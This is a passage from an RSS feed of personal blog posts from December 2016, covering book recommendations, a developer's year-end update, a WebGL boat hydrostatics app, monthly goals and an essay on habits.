&lt;p&gt;&lt;a href="https://en.wikipedia.org/wiki/The_Three-Body_Problem"&gt;Three Body Problem&lt;/a&gt;/Remembrance of Earth’s Past Series — Translated from Chinese, this three book series: &lt;a href="https://www.amazon.com/Three-Body-Problem-Remembrance-Earths-Past-ebook/dp/B00IQO403K/ref=as_li_ss_tl?ie=UTF8&amp;amp;qid=1482361705&amp;amp;sr=8-1&amp;amp;keywords=three+body+problem&amp;amp;linkCode=ll1&amp;amp;tag=dominiknet-20&amp;amp;linkId=84459760ecb113416596efb24204d275"&gt;Three Body Problem&lt;/a&gt;, &lt;a href="https://www.amazon.com/Dark-Forest-Remembrance-Earths-Past-ebook/dp/B00R13OYU6/ref=as_li_ss_tl?ie=UTF8&amp;amp;qid=1482361705&amp;amp;sr=8-3&amp;amp;keywords=three+body+problem&amp;amp;linkCode=ll1&amp;amp;tag=dominiknet-20&amp;amp;linkId=48029e63bec360c6b50741d49fefc443"&gt;Dark Forest&lt;/a&gt;, &lt;a href="https://www.amazon.com/Deaths-End-Remembrance-Earths-Past-ebook/dp/B00WDVKZY0/ref=as_li_ss_tl?ie=UTF8&amp;amp;qid=1482361705&amp;amp;sr=8-2&amp;amp;keywords=three+body+problem&amp;amp;linkCode=ll1&amp;amp;tag=dominiknet-20&amp;amp;linkId=d45853f5af32f87370cb7bd1291b707e"&gt;Death’s End&lt;/a&gt; treats with the near and far future in a scenario where humanity makes contact with an alien civilization. It considers how earthlings react (on both personal and societal levels) as well as the interplay and tension between the two civilizations themselves. The series as a whole considers some Big Ideas and even Bigger Questions. The translation is superb and the series comes to a satisfying conclusion over the course of its narrative arc.&lt;/p&gt;
&lt;h2 id="history"&gt;History&lt;/h2&gt;
&lt;p&gt;&lt;a href="https://en.wikipedia.org/wiki/The_Years_of_Lyndon_Johnson"&gt;The Years of Lyndon Johnson&lt;/a&gt; — This is perhaps the best historical biography I’ve ever read. Four books so far, with a fifth on the way, it is not only meticulously researched, but is deliciously and superbly well-written. The first book, &lt;a href="https://www.amazon.com/Path-Power-Years-Lyndon-Johnson-ebook/dp/B002GKGB0U/ref=as_li_ss_tl?ie=UTF8&amp;amp;qid=1482362127&amp;amp;sr=8-5&amp;amp;keywords=master+of+the+senate&amp;amp;linkCode=ll1&amp;amp;tag=dominiknet-20&amp;amp;linkId=cb11a640bc2103e699a40cd6fb98ad0e"&gt;The Path to Power&lt;/a&gt;, opens with a long consideration of West Texas topography — a topic in which I had previously found no interest — but does so so brilliantly that I found myself enraptured by the pages. Robert Caro can &lt;em&gt;write&lt;/em&gt;. The third book, &lt;a href="https://www.amazon.com/Master-Senate-Years-Lyndon-Johnson-ebook/dp/B002IPZBPO/ref=as_li_ss_tl?ie=UTF8&amp;amp;qid=1482362127&amp;amp;sr=8-1&amp;amp;keywords=master+of+the+senate&amp;amp;linkCode=ll1&amp;amp;tag=dominiknet-20&amp;amp;linkId=771d3f000c43a6dab3204f686eab4a31"&gt;Master of the Senate&lt;/a&gt;, is a stunning telling of LBJ’s use of political power to Get Things Done in the Senate. The entire series is an amazing study of the nature of power (“Power, Lord Acton says, corrupts. Not always. What power always does is reveal.”) and an intimate portrait of LBJ.&lt;/p&gt;
&lt;p&gt;&lt;a href="https://www.amazon.com/Silk-Roads-New-History-World-ebook/dp/B00XST7IX2/ref=as_li_ss_tl?ie=UTF8&amp;amp;qid=1482362271&amp;amp;sr=8-1&amp;amp;keywords=new+silk+roads&amp;amp;linkCode=ll1&amp;amp;tag=dominiknet-20&amp;amp;linkId=f8bf1f6727c909f53c1ccc6a6abe5505"&gt;The Silk Roads: A New History of the World &lt;/a&gt;— What would history look like if we placed the Middle East at the center of it? How did the events of the centuries impact that region? This book does that, and does so brilliantly, resulting in a lovely, wonderful, endearing, immensely scoped tale. Follow the history of an entire region across the span of thousands of years. The threads of the narrative pull together so well as to have kept me turning the pages. A tremendous work of scholarship and an enlightened insight into a region that, to this day, continues to be a locus of history.&lt;/p&gt;
&lt;h2 id="non-fiction"&gt;Non-Fiction&lt;/h2&gt;
&lt;p&gt;&lt;a href="https://www.amazon.com/Hillbilly-Elegy-Memoir-Family-Culture-ebook/dp/B0166ISAS8/ref=as_li_ss_tl?ie=UTF8&amp;amp;qid=1482362551&amp;amp;sr=8-1&amp;amp;keywords=hillbilly+elegy&amp;amp;linkCode=ll1&amp;amp;tag=dominiknet-20&amp;amp;linkId=9231e87691a9a27c51e335edb5033cb9"&gt;Hillbilly Elegy&lt;/a&gt; — The tale of a Yale-trained lawyer and his childhood in the hard scrabble backcountry of southern Ohio and northern Kentucky, used as a prism through which to view hillbillies, white working-class America, and the middle class. An illustrative collision of cultures, and of the havoc those collisions can bring upon lives.&lt;/p&gt;
&lt;p&gt;&lt;a href="https://www.amazon.com/Between-World-Me-Ta-Nehisi-Coates-ebook/dp/B00SEFAIRI/ref=as_li_ss_tl?ie=UTF8&amp;amp;qid=1482362568&amp;amp;sr=8-1&amp;amp;keywords=between+the+world+and+me&amp;amp;linkCode=ll1&amp;amp;tag=dominiknet-20&amp;amp;linkId=af58785527ec8e2c65e49eb85db04c95"&gt;Between the World And Me&lt;/a&gt; — Written as a letter from father to son, this book features beautiful, almost lyrical prose, filled with heart and feeling. A moving, powerful work on a difficult-to-read-about topic. Poignant, almost private, it is a gift to be able to read this and take steps on the path to a better understanding.&lt;/p&gt;
&lt;p&gt;&lt;a href="https://www.amazon.com/Evicted-Poverty-Profit-American-City-ebook/dp/B010ZXKCAO/ref=as_li_ss_tl?ie=UTF8&amp;amp;qid=1482362602&amp;amp;sr=8-1&amp;amp;keywords=evicted&amp;amp;linkCode=ll1&amp;amp;tag=dominiknet-20&amp;amp;linkId=c9661f4ef14abda65dfe7b4300baa5a9"&gt;Evicted&lt;/a&gt; — Painstakingly researched through applied field research, the author embedded himself in Milwaukee to understand eviction, both from the perspective of tenants and landlords. Devastating, heart-wrenching, and depressing, but powerfully and evocatively told through moving, sonorous prose.&lt;/p&gt;
&lt;h2 id="business--leadership"&gt;Business &amp;amp; Leadership&lt;/h2&gt;
&lt;p&gt;&lt;a href="https://www.amazon.com/First-Break-All-Rules-Differently-ebook/dp/B01E7M6INO/ref=as_li_ss_tl?ie=UTF8&amp;amp;qid=1482362831&amp;amp;sr=8-1&amp;amp;keywords=first+break+all+the+rules&amp;amp;linkCode=ll1&amp;amp;tag=dominiknet-20&amp;amp;linkId=ed406192a2b62698047fd8a089feea5e"&gt;First Break All The Rules&lt;/a&gt; — A timeless classic, dating from before the first tech bubble burst (written in 1999), this book contains advice that’s useful not only to active and aspiring managers, but to all those who report to a manager. Through the lens of encouraging self-discovery, it emphasizes the need for understanding as the engine for growth and provides a set of questions to help drive a career forward.&lt;/p&gt;
&lt;p&gt;&lt;a href="https://www.amazon.com/Managing-Humans-Humorous-Software-Engineering-ebook/dp/B01J53IE1O/ref=as_li_ss_tl?ie=UTF8&amp;amp;qid=1482362640&amp;amp;sr=8-1&amp;amp;keywords=managing+humans&amp;amp;linkCode=ll1&amp;amp;tag=dominiknet-20&amp;amp;linkId=4515be14955048f7629ba59ddb5796c5"&gt;Managing Humans&lt;/a&gt; — I’ve long been a reader of &lt;a href="http://randsinrepose.com/"&gt;Rands in Repose&lt;/a&gt;, the author’s blog. This book contains some of the best essays from that blog, plus more, and provides a useful set of rubrics and lenses through which to view software engineering specifically and the technology industry more generally. Read this understand how giant tech companies actually get work done and the vital importance of middle managers: “A successful organization is built of layers of people that are glued together with managers. Each layer is responsible for a broad task, be it engineering or QA or marketing. Between each layer is a manager whose job it is to translate from one layer to the next . . . in both directions. He knows what his employees want. He knows what his manager wants, and he’s able to successfully navigate when those wants differ.” This book teaches how to be most effective as a manager in the middle between all those overlapping layers.&lt;/p&gt;
&lt;p&gt;&lt;a href="https://www.amazon.com/Chaos-Monkeys-Obscene-Fortune-Failure-ebook/dp/B019MMUAAQ/ref=as_li_ss_tl?ie=UTF8&amp;amp;qid=1482362850&amp;amp;sr=8-1&amp;amp;keywords=chaos+monkeys&amp;amp;linkCode=ll1&amp;amp;tag=dominiknet-20&amp;amp;linkId=a0ba938d5f6d62ebf1fbc9c0c7e60d51"&gt;Chaos Monkeys&lt;/a&gt; — Irreverent, dark, sardonic, at times caustic — yet compelling. This tale of one man’s adventures at a Silicon Valley startup tells it straight up. Viscerally honest, replete with unexpected wisdom and surprising amounts of heart. Also, as a bonus, contains the most lucid explanation of advertising tech that I’ve come across. Read this to understand part of what makes this Valley run.&lt;/p&gt;
&lt;h2 id="other-education--fashion"&gt;Other (Education &amp;amp; Fashion)&lt;/h2&gt;
&lt;p&gt;&lt;a href="http://sethgodin.typepad.com/seths_blog/2014/09/the-shameful-fraud-of-sorting-for-youth-meritocracy.html"&gt;Stop Stealing Dreams&lt;/a&gt; — Available as a free PDF, this book takes a hard look at what education is for, how it got to the way it is now, and why it needs to be different. Powerfully written and easily digestible in small chunks, this is a thought-provoking read that looks forward to imagine what schooling/education/learning could and should look like in this Internet-enabled, connected world.&lt;/p&gt;
&lt;p&gt;&lt;a href="https://www.amazon.com/Dressing-Man-Mastering-Permanent-Fashion/dp/0060191449/ref=as_li_ss_tl?ie=UTF8&amp;amp;qid=1482362891&amp;amp;sr=8-1&amp;amp;keywords=dressing+the+man&amp;amp;linkCode=ll1&amp;amp;tag=dominiknet-20&amp;amp;linkId=14b65a9a8a6f2f5e75e215fa31822d7f"&gt;Dressing the Man&lt;/a&gt; — Only available in hardcover, but worth it. Beautiful photos and timeless principles for permanent fashion. Focused pretty heavily on professional attire (think law firms more than tech companies, let alone startups), but the underlying principles (color matching across skin tone/eye color/clothing/accents) apply everywhere. As a bonus, it delves into how many of the “standards” have come about, with fascinating history lessons into why things are the way they are (when in doubt, blame the Duke of Windsor). I don’t wear a suit to work nowadays, but this book was still a fascinating, eye-opening, and ultimately quite useful read.&lt;/p&gt;</description><author>dominik.net</author><pubDate>Wed, 21 Dec 2016 02:00:00 GMT</pubDate><guid isPermaLink="true">http://dominik.net/favorite-books-read-in-2016.html</guid></item><item><title>Looking forward to the 2017</title><link>https://muffinman.io/blog/looking-forward-to-2017/</link><description>&lt;article class="article"&gt;&lt;p&gt;2016 was quite a ride.
I just want to write a couple of random things,
to close this year with one last post.&lt;/p&gt;
&lt;h2 id="work--co"&gt;Work &amp;amp; Co &lt;a class="anchor-link" href="#work--co"&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;Big news here, my company became a part of &lt;a href="http://work.co"&gt;Work &amp;amp; Co&lt;/a&gt;.
We&amp;#x27;re really excited about that, and I&amp;#x27;m looking forward to the great stuff we are going to build.
Our collaboration goes back for a few years now, it was very productive,
and this is a great step forward.&lt;/p&gt;
&lt;p&gt;My current title is a &lt;em&gt;Technology Director&lt;/em&gt; and I&amp;#x27;m in charge of a tech team,
here in the Belgrade office.&lt;/p&gt;
&lt;h2 id="winter-meetup"&gt;Winter Meetup &lt;a class="anchor-link" href="#winter-meetup"&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;We are preparing a new tech meetup, this time a bit bigger one,
with four speakers. I&amp;#x27;ll talk about JavaScript, if it is going in the right direction.
About it&amp;#x27;s problems, misunderstandings, fear and hate that are involved around it.
Don&amp;#x27;t worry, I&amp;#x27;ll talk about the good parts too.&lt;/p&gt;
&lt;p&gt;All of the presentations include:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Five senses in a business performance - Nikola Pantović&lt;/li&gt;
&lt;li&gt;Go fast with Web Workers - Ivan Nikitović&lt;/li&gt;
&lt;li&gt;Become more professional developer - Saša Ranisavljević&lt;/li&gt;
&lt;li&gt;State of a modern JavaScript development - Stanko Tadić (myself)&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;It will probably happen on the first Saturday in February of 2017,
but I&amp;#x27;ll post updates with the exact date and venue.&lt;/p&gt;
&lt;p&gt;So be sure to come to &lt;em&gt;Work &amp;amp; Co Belgrade Winter Meetup&lt;/em&gt;.&lt;/p&gt;
&lt;h2 id="few-articles-i-want-to-share"&gt;Few articles I want to share &lt;a class="anchor-link" href="#few-articles-i-want-to-share"&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;I rarely find articles that I think are really worth sharing.
But there are two that I like a lot.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="http://paulgraham.com/wealth.html"&gt;How to Make Wealth&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://gist.github.com/Stanko/cb3e287f9ee6b836cdfad5d04a3fb208"&gt;Short guide for Startup Software Engineers in 2nd/3rd World Countries&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;The first one is a cliche in the startup world,.
In case you haven&amp;#x27;t read it yet, and you are interested in making a startup, please do.&lt;/p&gt;
&lt;p&gt;The second one, unfortunately, is not online anymore, but I found it cached,
and made a gist copy of it.
It is written by a colleague Serbian, here in Belgrade.
He really puts some light on how startup scene is totally different here,
and in The valley and western world.
To me, it was really an eye opener when I first read it.&lt;/p&gt;
&lt;p&gt;I hope original author won&amp;#x27;t mind I shared it. Here are links to the &lt;a href="http://blog.prng.org/2010/short-guide-startup/"&gt;original blog&lt;/a&gt;,
and the &lt;a href="http://web.archive.org/web/20150718230004/http://blog.prng.org/2010/short-guide-startup/"&gt;cached version&lt;/a&gt;.&lt;/p&gt;
&lt;h2 id="pet-projects"&gt;Pet projects &lt;a class="anchor-link" href="#pet-projects"&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;I really enjoy these, and I will continue sharing small projects and libraries,
with a hope that community finds them useful.
Feel free to check my &lt;a href="https://github.com/Stanko"&gt;GitHub account&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;This blog will get updated, hopefully a bit more often.
Btw, this blog is also open source and powered by Jekyll + Travis + Github Pages.&lt;/p&gt;
&lt;p&gt;Other than that I hope to roll out a one or two small mvp products.&lt;/p&gt;
&lt;h2 id="see-you-next-year"&gt;See you next year &lt;a class="anchor-link" href="#see-you-next-year"&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;This is probably it for this year, it was exhausting, but fun year for me.
Now, I took some days off, to get prepared for the new chapter the 2017 will bring.&lt;/p&gt;
&lt;p&gt;Cheers, and happy holidays!&lt;/p&gt;&lt;/article&gt;</description><author>Muffin Man</author><pubDate>Wed, 21 Dec 2016 02:00:00 GMT</pubDate><guid isPermaLink="true">https://muffinman.io/blog/looking-forward-to-2017/</guid></item><item><title>Зенит - чемпион</title><link>https://rybakov.com/blog/zenit/</link><description>&lt;figure class="full"&gt;



&lt;img alt="" class="lazyload" src="../images/hiq/_RYB0542.jpg" /&gt;




&lt;/figure&gt;
&lt;p&gt;Irgendwo haben sie 100 Zenit-Bälle gefunden.&lt;/p&gt;</description><author>Blogs on Michail Rybakov</author><pubDate>Tue, 20 Dec 2016 16:07:46 GMT</pubDate><guid isPermaLink="true">https://rybakov.com/blog/zenit/</guid></item><item><title>Building a webGL and webworkers boat hydrostatics app</title><link>https://jfoucher.com/2016/12/webgl-webworkers-boat-calculations.html</link><description>&lt;p&gt;I’ve recently felt the urge to start designing boats again, as I have had some ideas I wanted to explore, specifically for boats of the &lt;a href="http://classemini.org"&gt;Mini 650 class&lt;/a&gt;. The software I use has basic hydrostatics capabilities, but only for an upright boat. It cannot calculate the GZ curve, or get the righting moment at specific heel angles, which is a crucial data for the kind of craft I wanted to design.&lt;/p&gt;

&lt;p&gt;Existing solutions are extremely powerful and extremely expensive, so I decided i’d spend a few days rolling my own, with only the features I needed for the time being. I have all the technical background for this type of calculations, so I figured it shouldn’t be too hard. I really wanted to display a 3D view of the model, and not have it only output data in table format, and since I had never used web GL and was curious about, I figured it was the perfect time to try it out. Pro tip : if you’re not used to openGL or working in 3D programatically, use &lt;a href="https://threejs.org/"&gt;three.js&lt;/a&gt;. Thank me later.&lt;/p&gt;

&lt;p&gt;So at first I built something very basic that just displayed the model in threejs and did some static calculations, in the UI thread. At first it worked ok, but as soon as I added functionality to solve for trim (to align longitudinal center of gravity with the longitudinal center of buoyancy) it started to get very slow. The 3D view could not even be moved around anymore because the UI thread was doing all the calculations in the foreground. Basically to do this kind of calculations, you have to move the model up and down to adjust for the correct displacement, and then pitch it forwards or aft until the center of buoyancy aligns with the center of gravity. This loop is computationally intensive and made everything grind to a halt.&lt;/p&gt;

&lt;p&gt;So webworkers to the rescue. I had never really used them either, but they promised to make it easy to send most of the work to a background thread that would not slow down my UI. I refactored my code to put all the heavy lifting into separate files that could then be called as a web worker. I also had to add messaging to pass data to and from the UI javascript. That was fairly easy to do, as they are simple calls to postMessage, and a callback function in the UI and the worker to receive sent messages. Very easy and obvious, so great !&lt;/p&gt;

&lt;p&gt;The calculations are accurate, I’ve had them checked in many cases against an old Hydromax version, which is an established solution in the field, and the results match within about a percentage point. The only difficulty I’m still struggling with is to properly draw the underwater stations and the waterline, but this is only a display bug and does not affect the results. What happens is that there are many edge cases that have to be accounted for, depending on the type and quality of the input file. I’m still working on that.&lt;/p&gt;

&lt;p&gt;If you like designing boats and currently do these kinds of calculations by hand or in a spreadsheet, or if your current software does not solve for trim, you will definitely want to &lt;a href="https://hydro.marinetechs.com/?utm_source=jfoucher&amp;amp;utm_campaign=launch&amp;amp;utm_medium=blog"&gt;give this tool a try&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;If you do, and you like it, or you hate it, or it doesn’t work, or anything, your feedback would be invaluable. Contact me &lt;a href="mailto:j_foucher@marinetechs.com"&gt;by email&lt;/a&gt; or through &lt;a href="/contact"&gt;this blog’s contact form&lt;/a&gt;.&lt;/p&gt;</description><author>Geeky Nuggets</author><pubDate>Tue, 20 Dec 2016 10:17:07 GMT</pubDate><guid isPermaLink="true">https://jfoucher.com/2016/12/webgl-webworkers-boat-calculations.html</guid></item><item><title>December 2016 Goals</title><link>https://josh.works/monthly%20evaluation/2016/12/20/december-2016-goals/</link><description>&lt;p&gt;December 19th seems a bit late to write about December’s goals, huh?&lt;/p&gt;

&lt;p&gt;Nonetheless, I’ve had some, and I will still have them through the end of the month.&lt;/p&gt;

&lt;p&gt;I
did post a review of November a few days ago. This should really be rolled into that. A “monthly review/going forward” evaluation makes way more sense than splitting it into two pieces.&lt;/p&gt;

&lt;p&gt;See? There’s value to these reviews. I’m streamlining my own workflow. :)&lt;/p&gt;

&lt;p&gt;My goals for December are
mostly an extension of my
&lt;a href="/november-2016-goals"&gt;goals last month&lt;/a&gt;.
&lt;a href="/growth/2016/12/14/november-2016-review/"&gt;November review here&lt;/a&gt;&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;
    &lt;p&gt;Deepen knowledge of front-end development*&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;Rehab my wrist effectively&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;Read seven more books (goal for the year is 80. It’ll be a stretch…)&lt;/p&gt;
  &lt;/li&gt;
&lt;/ul&gt;

&lt;h1 id="1-deepen-knowledge-of-front-end-development"&gt;1. Deepen Knowledge of front-end development&lt;/h1&gt;

&lt;ul&gt;
  &lt;li&gt;wrong terminology. I mean front-end because “back end” in my mind is WAAAY in the back-end, like you .NET and C++ guys doing things where you never touch an interface or create a button. I’ll technically be a back-end developer by mid-2017, but I’ll be comfortable in HTML/CSS/JS and all those traditional front-end parts of the internet.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Also, I’ve been working on general comfort around simple networking
and my command line. I’m learning along through Vimtutor (open your terminal if you’re on a Mac, type in “vimtutor” to see what it is.) Also, I’m writing this post using Vim. Admittedly, free-form typing in Vim is just the same as any other text editor, but moving around without the mouse and between modes takes some getting used to.&lt;/p&gt;

&lt;p&gt;I’ve been inspired on Vim by
&lt;a href="http://overthewire.org/wargames/bandit/"&gt;OverTheWire.org&lt;/a&gt;. Vim goes hand-in-hand with regular (or heavy) command line usage, and I want to get more fluid in the command line. I’m motivated by small, incremental challenges, so their “Bandit” wargame is perfect. I’m on
&lt;a href="http://overthewire.org/wargames/bandit/bandit16.html"&gt;level 15&lt;/a&gt; right now, to continue right after posting this.&lt;/p&gt;

&lt;p&gt;I’ve gotten stuck twice, and you can google around to find good hints easily enough. Don’t just blindly type in commands, though. Understand them.&lt;/p&gt;

&lt;p&gt;Oh, I finished up all the Turing school pre-work, and am taking a short spin through non-Ruby/Rails topics for fun. I’ll dig back into building things shortly.&lt;/p&gt;

&lt;h1 id="2-rehab-my-wrist-safelyeffectively"&gt;2. Rehab my wrist safely/effectively&lt;/h1&gt;

&lt;p&gt;I injured my wrist five weeks ago. It was minor, but for a few days I was pretty out of commission on some key every-day-things. (Grinding coffee was a bit of a challenge.)&lt;/p&gt;

&lt;p&gt;I’ve been able to climb again. For two weeks, I climbed exclusively easy problems, and over time am slowly stepping up the difficulty. I can climb hard-ish routes again without pain, but I don’t feel safe trying hard or moving dynamically. But still, it feels good. I’m out of town through January 3rd, and have just my portable hangboard with me. So, I’ll use that, and hopefully be 100% by the time I get back to Colorado.&lt;/p&gt;

&lt;h1 id="3-finish-seven-more-books-this-month"&gt;3. Finish seven more books this month&lt;/h1&gt;

&lt;p&gt;I’m almost done with two books, and that will put me at 75 books for the year. I’ve got two or three more short-ish ones on deck (~150 pages) and if I can knock those out quickly, I’ll be close to reading 80 books for the year. 80 is a nice, round number, so I’d like to do it.&lt;/p&gt;

&lt;p&gt;Later this month I’ll highlight the most dangerous books I’ve read in the last year. Could be interesting.&lt;/p&gt;

&lt;p&gt;That’s it. It’s been odd writing this post in vim. So far, I don’t really like the experience. I guess I feel more at home in Atom. Also, Atom has markdown specific syntax highlighting, spell check, and even checks for “weak” words (like “really”). I’ll pop this text in there and do any last edits in Atom. Then it’s off to the internet with these words.&lt;/p&gt;

&lt;p&gt;:wq&lt;/p&gt;</description><author>Josh Thompson</author><pubDate>Tue, 20 Dec 2016 02:00:00 GMT</pubDate><guid isPermaLink="true">https://josh.works/monthly%20evaluation/2016/12/20/december-2016-goals/</guid></item><item><title>Different mobile and desktop layouts with React</title><link>https://goshacmd.com/different-mobile-desktop-tablet-layouts-react/</link><author>Gosha Spark</author><pubDate>Tue, 20 Dec 2016 02:00:00 GMT</pubDate><guid isPermaLink="true">https://goshacmd.com/different-mobile-desktop-tablet-layouts-react/</guid></item><item><title>Why Kubernetes is Abbreviated k8s</title><link>https://justingarrison.com/blog/2016-12-19-why-kubernetes-is-abbreviated-k8s/</link><description>Some times people will join the Kubernetes community and get confused on what the “k8s” is all about.</description><author>Justin Garrison's Homepage</author><pubDate>Mon, 19 Dec 2016 02:00:00 GMT</pubDate><guid isPermaLink="true">https://justingarrison.com/blog/2016-12-19-why-kubernetes-is-abbreviated-k8s/</guid></item><item><title>Why Him?</title><link>https://olshansky.info/movie/why_him/</link><description>Olshansky's review of Why Him?</description><author>🦉 olshansky 🦁</author><pubDate>Sun, 18 Dec 2016 12:11:43 GMT</pubDate><guid isPermaLink="true">https://olshansky.info/movie/why_him/</guid></item><item><title>Everything You Need to Know About Regular Expressions In JavaScript - Part One: Basic Concepts</title><link>https://lucasfcosta.com/blog/Regular-Expressions-in-JavaScript--Part-One/</link><description>When I was just starting out with JavaScript and programming in general I always thought using Regular Expressions was just too complicated and then I resorted to many crazy combinations of String ...</description><author>Lucas F. Costa - Blog</author><pubDate>Sat, 17 Dec 2016 14:00:00 GMT</pubDate><guid isPermaLink="true">https://lucasfcosta.com/blog/Regular-Expressions-in-JavaScript--Part-One/</guid></item><item><title>Abstraction and instances in graph programming</title><link>https://mattkeeter.com/blog/2016-12-17-instances</link><description/><author>Matt Keeter</author><pubDate>Sat, 17 Dec 2016 02:00:00 GMT</pubDate><guid isPermaLink="true">https://mattkeeter.com/blog/2016-12-17-instances</guid></item><item><title>Habits, momentum and ceremonies</title><link>http://dimitarsimeonov.com/2016/12/17/habits-momentum-and-ceremonies</link><description>&lt;p&gt;It is conventional wisdom that &lt;em&gt;habits&lt;/em&gt; are the fundamentals of
successful life. Having consistent habits of making your bed,
exercising, eating healthy, meditating, and not spending more than
you make are what some popular self help bloggers and authors are
preaching.&lt;/p&gt;

&lt;p&gt;Habits work. Once I have a positive habit formed, it is a great force
in my improving my days. Recently I’ve been developing the habit of
exercising. I started by doing a lot of exercise almost every day,
and felt a large increase in strength and conditioning. Simple,
everyday tasks became much easier. My stamina increased. Now I’ve
decreased the amount of exercise as my body needs enough time to
recover, but I still feel benefits and improvement.&lt;/p&gt;

&lt;p&gt;Exercising is a habit now, and if I don’t do exercise in a given day,
I feel that I’m missing out. I crave the exercise. You might say I’m
addicted to getting my dose of exercise every day or two. And you’ll
have a point. For exercise has gathered up such a &lt;em&gt;momentum&lt;/em&gt; that it is
hard for me to stop.&lt;/p&gt;

&lt;p&gt;I can rely on this momentum. I’m happy for it, because the direction
of the momentum is positive. That’s why habits work. Because of the
momentum. The momentum gives me speed. In any individual day I can
add a small force and small acceleration to my personal momentum.&lt;/p&gt;

&lt;p&gt;When my efforts every day are aligned with my efforts the day before,
I will add a bunch of momentum in that direction over time.&lt;/p&gt;

&lt;p&gt;But I don’t find it easy to keep pushing every day in the same
direction.  Some days I’m just lazy and I want to watch funny gif
videos, and read random articles. Every time I profligate my waking
hours with junk, that’s not only removing from my positive momentum,
that’s also adding to my negative momentum.&lt;/p&gt;

&lt;p&gt;Here come &lt;em&gt;decisions&lt;/em&gt;.&lt;/p&gt;

&lt;p&gt;In order to build the maximum amount of positive momentum, I need to
fully, and wholehearthedly know and decide that only things I’ll do
are the ones which increase my positive momentum. THAT I WILL NOT
PROCRASTINATE. Zero. Null.&lt;/p&gt;

&lt;p&gt;If I were a piece of computer code, I can just set the variable
&lt;code class="language-plaintext highlighter-rouge"&gt;procrastination=0&lt;/code&gt;and be done. In terms of real life mindset, I think
it is possible to do that, but I think it isn’t that simple. I’ve had
situations where I’ve been extremely motivated for long periods. I’ve
also heard many stories of people who based on a certain traumatizing,
or ephiphanizing experience, make a decision to reform their life and
turn it around.&lt;/p&gt;

&lt;p&gt;I’ve not had such strong moments, but I’ve had other moments which
made a great impact on me. Some of these moments changed my mindset,
not necessarily in the negative-to-positive way, but I ended up being
changed nonetheless. When a moment like this happens, I know that the
world has changed irreversibly. My mindset does not immediately adapt
to it in all situations, but my perception of the new reality
gradually sinks in.&lt;/p&gt;

&lt;p&gt;Graduating from college was one such moment. After graduating, I had a
new identity. I was no longer the student that I was before. I was a
graduate, with a degree. I could no longer justify certain stupid
actions, that a student would do. I was no longer a student. Not me. I
am now a different person, me. Gradually, every action that didn’t fit
with the new me got weeded out.&lt;/p&gt;

&lt;p&gt;I had this discrete event in my life - the graduation. After that
moment, my mindset changed, and gradually so did my momentum in
life. A single ceremony had a profound effect in redirecting me.&lt;/p&gt;

&lt;p&gt;I want to engineer such a ceremony to kill all my procrastination. I
don’t know how to do it yet, but I believe it is possible. I’ll now go
and work on that.&lt;/p&gt;</description><author>D13V</author><pubDate>Sat, 17 Dec 2016 02:00:00 GMT</pubDate><guid isPermaLink="true">http://dimitarsimeonov.com/2016/12/17/habits-momentum-and-ceremonies</guid></item><item><title>2016-12-16</title><link>https://ho.dges.online/pictures/2016-12-16/</link><description/><author>ho.dges.online</author><pubDate>Fri, 16 Dec 2016 02:00:00 GMT</pubDate><guid isPermaLink="true">https://ho.dges.online/pictures/2016-12-16/</guid></item><item><title>Nest Cam Outdoor vs. Ring Stick Up Cam</title><link>https://justingarrison.com/blog/2016-12-16-nest-cam-outdoor-vs-ring-stick-up-cam/</link><description>The outdoor security camera market didn’t exist much before this year</description><author>Justin Garrison's Homepage</author><pubDate>Fri, 16 Dec 2016 02:00:00 GMT</pubDate><guid isPermaLink="true">https://justingarrison.com/blog/2016-12-16-nest-cam-outdoor-vs-ring-stick-up-cam/</guid></item><item><title>How to Use Thought Experiments to De-Risk Your Startup</title><link>https://www.codingvc.com/p/how-to-use-thought-experiments-to-de-risk-your-startup</link><description>&amp;#8220;In preparing for battle, I have always found that plans are useless but planning is indispensable.&amp;#8221;</description><author>Coding VC</author><pubDate>Thu, 15 Dec 2016 07:21:00 GMT</pubDate><guid isPermaLink="true">https://www.codingvc.com/p/how-to-use-thought-experiments-to-de-risk-your-startup</guid></item><item><title>Lessons Learned From My Three Month Experience Working Remotely In Thailand</title><link>https://medium.com/@RayNicholus/a-farang-geek-in-thailand-the-benefits-challenges-of-working-abroad-5930f79f898f#.fktmdwhlk</link><description>I have much experience working remotely, but my recent long-term long-distance venture revealed so much more. In this article, I cover good things, bad things, and suggestions to fix a broken remote work culture.</description><author>Train of Thought</author><pubDate>Thu, 15 Dec 2016 02:00:00 GMT</pubDate><guid isPermaLink="true">https://medium.com/@RayNicholus/a-farang-geek-in-thailand-the-benefits-challenges-of-working-abroad-5930f79f898f#.fktmdwhlk</guid></item><item><title>Coding a website from scratch - a timelapse</title><link>https://jmthornton.net/blog/p/websitetimelapse</link><description>Jade creates a simple website from scratch using the Bootstrap framework</description><author>Blog by Jade Michael Thornton</author><pubDate>Wed, 14 Dec 2016 17:00:00 GMT</pubDate><guid isPermaLink="true">https://jmthornton.net/blog/p/websitetimelapse</guid></item><item><title>Is moving to the Bay Area worth it?</title><link>https://blog.harterrt.com/is-moving-to-the-bay-area-worth-it.html</link><description>&lt;p&gt;I came across &lt;a href="http://blog.triplebyte.com/does-it-make-sense-for-programmers-to-move-to-the-bay-area"&gt;this article&lt;/a&gt; on the front page of Hacker News yesterday.
The author argues that Bay Area housing prices may be high, but the salary increase probably makes it worth while.
The author pulls together some interesting data to make their point,
